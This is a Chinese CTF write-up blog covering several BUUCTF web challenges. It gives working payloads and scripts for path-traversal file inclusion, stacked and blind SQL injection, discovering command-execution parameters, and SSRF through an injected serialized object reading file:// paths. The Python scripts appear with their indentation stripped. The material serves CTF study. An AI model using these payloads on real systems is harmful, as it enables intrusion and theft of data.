WarmUp

  首先查看源码,发现有source.php,跟进看看,发现了一堆代码

这个原本是phpmyadmin任意文件包含漏洞,这里面只不过是换汤不换药。

有兴趣的可以看一下之前我做的分析,https://blog.csdn.net/Mikasa_/article/details/88594749     ,分析的有点差劲,不喜勿喷哈

当然这里面还有一个hint.php,进去发现了提示:flag not here, and flag in ffffllllaaaagggg

。。。。。。。。

事实上,确实在根目录下的ffffllllaaaagggg里面。

payload:  http://web5.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg

随便注

  这道题是强网杯的原题,当时没有思路,现在回想起来,还是怪自己思路不够扩展,对Mysql的一些结构不够熟悉。。

首先这道题仅仅是过滤了一些基本关键词

但是对堆叠注入没有任何的检查,并且他这里面是将Mysql查询返回的结果以数组的形式返回,也就是说没有限制回显的多少。

我们先用 show tables;  和  desc   xxx;  收集表名以及表的结构

  

看表的结构:

可以看到flag在1919810931114514表中。

之后原本想用存储过程绕过,发现。。。。

        

不过使用strstr和获取的,我们可以大小写绕过

payload:http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#

关于储存过程可以看看这里:

https://blog.csdn.net/weixin_37839711/article/details/81562550

当然最有意思的是这一道题还可以修改表的结构来达到获取flag,有兴趣的可以看看  https://www.xmsec.cc/qwbctf-2019/

高明的黑客

也是强网杯的原题。

首先根据题意,我们输入web15.buuoj.cn/www.tar.gz来下载文件。

看到有很多的php文件,并且好像有很多可以执行命令的,其实不然。。大多数都不行,这个时候就需要我们写脚本区匹配了,因此将压缩包放到本地,然后利用脚本不断的跑。

放一下以前写的脚本

# -*- coding:utf-8 -*-
import requests
import re
import os
import sys
import time
path="./src/"
for dir in os.listdir(path):
f=open(path+dir)
content=f.read()
f.close()
rc=re.compile(r'(\$_GET\[\')(.*)(\'\])')
Mikasa=rc.findall(content)
for test in Mikasa :
var=test[1]
url="http://192.168.234.128:2222/"+dir+"?"+var+"=echo 'Sdlawsl';"
UI=requests.get(url)
if "Sdlawsl" in UI.text:
print(UI.text)
print(dir)
print(test[1])
exit()

这里就可以匹配出可以执行命令的文件,之所以用的是echo,是因为不论对eval等PHP命令执行函数,还是System系统命令函数来说支持都很好,下面是匹配出来的结果

                                                      

可见在xk0SzyKwfzw.php中的Efa5BVG存在命令执行,cat  /flag,获得flag

CISCN2019-HackWorld

emmmm,这道题确实找到注入点了,但是不知道为什么写的脚本不行了。哎,还是太菜了

首先是这个界面  

                                    

emmm,既然已经告诉了我们,flag在flag表中的flag字段,那么也就不需要从一开始就爆破表名了(emmmm,其实他把这个关键词information过滤掉了,我们也不能从这里面下手了)

首先提交 1 and 1=1(查看有无waf),发现确实是有的

  

                                                       

这一下我们就要用我们小字典探测一下子,这里面我们使用burp将我们想要尝试的关键词放进里面看看

                      

可以很清楚的看到557长度的都是被过滤的关键字

                                    

过滤的关键字有:

and for or order outfile # & * rand()  xor +  - ||  `  ord()  for updatexml()  information union && /**/  limit  floor()   "  空格(可以用tab键绕过)
 
emmm,但是还是不影响我们的注入(所以说过滤了information吗~~)
 
在这里面id值是没有用单双引号,因此是可以进行布尔盲注和时间盲注的
 
这里面我的payload是

 
id=elt(assic(substr((select  flag  from  flag),1,1))=124,1)     //注意中间的是tab键,只要assic(substr((select  flag  from  flag),1,1))=124这一部分为'真',那么就会返回后面的1,页面就会出现Hello, glzjin wants a girlfriend.等字。
至于elt()函数的用法,可以参考这篇文章:http://www.kuitao8.com/20180130/4673.shtml
当然还是可以用if进行注入,payload为:
id=if(ascii(substr((select    flag    from    flag),1,1))=102,1,2)
 

emmmm,在编写脚本的时候突然发现

 
                                

 
 
 wdnmd,怪不得啊QAQ
 
 
 

admin

 参考一叶飘零师傅的wp:
https://www.anquanke.com/post/id/164086#h2-0

写的真的是很好,可惜我对python web方面还是不太熟悉

 
 
 

Hack World(完善上方的题解)

已经告诉了我们表名与字段名,于是我们只需要构造payload即可(过滤了空格,可以用tab绕过)

脚本

#-*- coding: utf-8 -*-
import requests
import re
import os
flag=""
url="http://ac3441f5-53f8-4456-9494-f7192558069c.node3.buuoj.cn/index.php" for test in range(1,100) :
low=0
high=128
while low<=high :
mid=(low+high)//2
data={"id":"(ascii(substr((select flag from flag),{},1))>{})".format(str(test),str(mid))}
Mikasa=requests.post(url,data=data)
if "Hello, glzjin wants a girlfriend." in Mikasa.text :
low=mid+1
else :
high=mid-1
if int(low+high+1)//2==0:
print("QAQ")
flag+=chr(int(low+high+1)//2)
print(flag)

  

Facebook

这道题目的话还是很简单的,但是最后就是没有想到覆盖这一点。

是首先这里面存在两个sql注入,一个是在

view-source:ed6219ca-852f-4791-bbc4-7bda16c6798a.node3.buuoj.cn/view.php?no=1(union注入,没有任何的waf)

还有一处是在注册处用户姓名处(盲注)

盲注脚本

#-*- coding: utf-8 -*-
import requests
import re
import os
#ascii(substr(database(),1,1))>0
#ascii(substr((select concat(0x7e,group_concat(table_name),0x7e) from information_schema.tables where table_schema=database()),1,1))>0
flag=""
url="http://ca9e4ff7-37d6-4673-9ac2-c6bc6c00fc3b.node3.buuoj.cn/join.ok.php" for test in range(1,100) :
low=0
high=128
while low<=high :
mid=(low+high)//2
data={"username":"fasfs'or(ascii(substr((select group_concat(CURRENT_CONNECTIONS,0x7e,TOTAL_CONNECTIONS) from users),{},1))>{})#".format(str(test),str(mid)),"passwd":"qaq","age":"","blog":"http://www.baidu.com"}
Mikasa=requests.post(url,data=data)
if "Username already exists." in Mikasa.text :
low=mid+1
else :
high=mid-1
if int(low+high+1)//2==0:
print("QAQ")
flag+=chr(int(low+high+1)//2)
print(flag)

报错出来数据感觉也没有啥用处,不过意外的发现在data字段出存在反序列化的字符串。。

之后经过目录扫描发现了robots.txt和flag.php

robots.txt发现了有user.php.bak

以下是源码

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} }

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。

但是!!!那个联和注入此时就可以用的到了,因此我们就可以,构造联和注入的payload来进行数据的覆盖。。

payload

view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

利用file协议直接读取flag

查看源码就可以看到base64加密的源码

BUUCTF刷题记录(Web方面)的更多相关文章

  1. BUUCTF刷题记录(更新中...)

    极客大挑战 2019]EasySQL-1 直接通过输入万能密码:' or 1=1#实现注入: 思考:服务端sql语句应该为:select * from users where username='xx ...

  2. buuctf刷题记录

    极客大挑战 2019]EasySQL-1 直接通过输入万能密码:' or 1=1#实现注入: 思考:服务端sql语句应该为:select * from users where username='xx ...

  3. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  4. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  7. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  8. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  9. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

随机推荐

  1. adb 端口冲突

    第一种方法:可以设置另一个端口 第二种方法: http://blog.csdn.net/hwl1314/article/details/52538023 Android studio 5037端口被占 ...

  2. LeetCode go

    用Go语言刷LeetCode记录,只是为了练习Go语言,能力有限不保证都是最优解,只能在此抛转引玉了. 数据结构和算法 数据结构和算法是程序员的命根子,没了命根子也就没有了尊严. 1. 两数之和 题目 ...

  3. Django与mongodb数据库的连接

    1.最开始需要下载一个第三方模块:mongoengine 2.下载完成之后,需要在settings中完成配置(在DATABASES后面,别问我为什么,问了我也不告诉你...) connect中传入的是 ...

  4. [币严区块链]数字货币交易所之以太坊(ETH)钱包对接(四) 使用web3j对接以太坊钱包

    本文给大家介绍了 Web3j Java 版本的框架的基本使用,大家可根据本文的内容进行扩展性的练习,对其他 API 的使用进行尝试. 使用web3j对接以太坊钱包 一.开发准备事项 启动 Geth 此 ...

  5. Docker下kafka学习三部曲之一:极速体验kafka

    Kafka是一种高吞吐量的分布式发布订阅消息系统,从本章开始我们先极速体验,再实战docker下搭建kafka环境,最后开发一个java web应用来体验kafka服务. 我们一起用最快的速度体验ka ...

  6. Python 踩坑之旅文件系统篇其一文件夹也是个文件

    目录 1.1 案例 1.2 分析 1.3 扩展 1.4 技术关键字 下期预告 代码示例支持 平台: Mac OS Python: 2.7.10 代码示例: - wx: 菜单 - Python踩坑指南代 ...

  7. Hadoop-1,web页面调用报无hbase.jar包【以解决】 2,报java.lang.NoSuchMethodError: org.eclipse.jdt.internal.compiler.CompilationResult.getProblems()[Lorg/eclipse/jdt/core/compiler/IProblem;【以解决】

    1:web页面调用报无hbase.jar包 本来java文件就没有问题,但是jsp一调用那个java文件里的方法就报错,报的无hadoop/hbase相关报的问题. 主要解决方法是: 复制hbase/ ...

  8. Spring Security 梳理 - DelegatingFilterProxy

    可能你会觉得奇怪,我们在web应用中使用Spring Security时只在web.xml文件中定义了如下这样一个Filter,为什么你会说是一系列的Filter呢?    <filter> ...

  9. SpringCloud Feign 之 超时重试次数探究

    SpringCloud Feign 之 超时重试次数探究 上篇文章,我们对Feign的fallback有一个初步的体验,在这里我们回顾一下,Fallback主要是用来解决依赖的服务不可用或者调用服务失 ...

  10. C语言入门-指针

    终于到了精髓的地方了,这确实有点懵,总感觉这太麻烦了,而且写着也不爽,还是怀念py或者java,但也没办法,还是要继续学下去. 一.运算符& scanf("%d" , &a ...